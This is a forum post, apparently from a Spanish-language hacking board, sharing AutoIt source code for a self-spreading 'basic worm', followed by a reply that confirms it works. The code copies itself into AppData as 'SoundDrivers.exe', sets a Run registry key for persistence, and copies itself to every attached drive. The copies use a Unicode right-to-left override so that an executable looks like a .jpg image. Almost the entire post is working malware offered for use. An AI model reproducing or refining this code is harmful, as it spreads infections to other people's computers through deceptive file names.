AutoIT [AutoIt] Basic Worm with Extension Exploit

[Nax]

>#Region 'Vars'
Dim $Drives[25] ;Will hold info about existing drivers
Dim $Num = 0 ;Number of drivers
Dim $Temp = 65 ;Ascii value of drivers [A to Z]
#endregion


While 1
   startup()
   Spreading()
Wend


#region 'Spreading'
Func Spreading()
$Num = 0
While $Temp <= 90 ;Instead of huge IF statement, using ASCII values to check drivers
   
   If FileExists(Chr($Temp) & ':\') Then
       $Drives[$Num] = Chr($Temp) & ':\' ;Adding the found driver to array
   
$Num += 1
   EndIf
   $Temp += 1
Wend

$Temp = 0 ;Reseting Temp so it can be re-used to spread

While  $Temp <= $Num
   
   If NOT FIleExists($Drives[$Temp] & ExtExploit()) Then
       FileCopy ('SoundDrivers.exe', $Drives[$Temp] & ExtExploit(), 1)
   EndIf
   $Temp += 1
WEnd
EndFunc


Func ExtExploit() ;extension exploit
   $mystring="jpg" ;desired extension
$reverse_string = ""
$string_length = StringLen($mystring)

For $i = 1 to $string_length ;reversing the string... damn you autoit for not making a function!!!
  $last_n_chrs = StringRight($mystring, $i)
  $nth_chr = StringTrimRight($last_n_chrs, $i-1)
  $reverse_string= $reverse_string & $nth_chr 
Next

   $Name = "Party Time! at M" & ChrW(8238) & $reverse_string & ".exe"
   return ($Name)
EndFunc
#endregion
Func Startup()
   If NOT FileExists(@AppDataDir & '\SoundDrivers.exe') Then
   FileCopy ('SoundDrivers.exe', @AppDataDir & '/SoundDrivers.exe', 1)
   RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SoundDrivers", "REG_SZ", @ScriptFullPath)
   EndIf
EndFunc

 

[sQuo]

funcionar si funciona, pero al leer el disco "A" se queda colgado, lo bueno seria quitarle que lea todos los drivers menos ese ya que nadie lo usa, pero si se copia en el usb y en c:\ tambiewn se crea en el registro de windows xD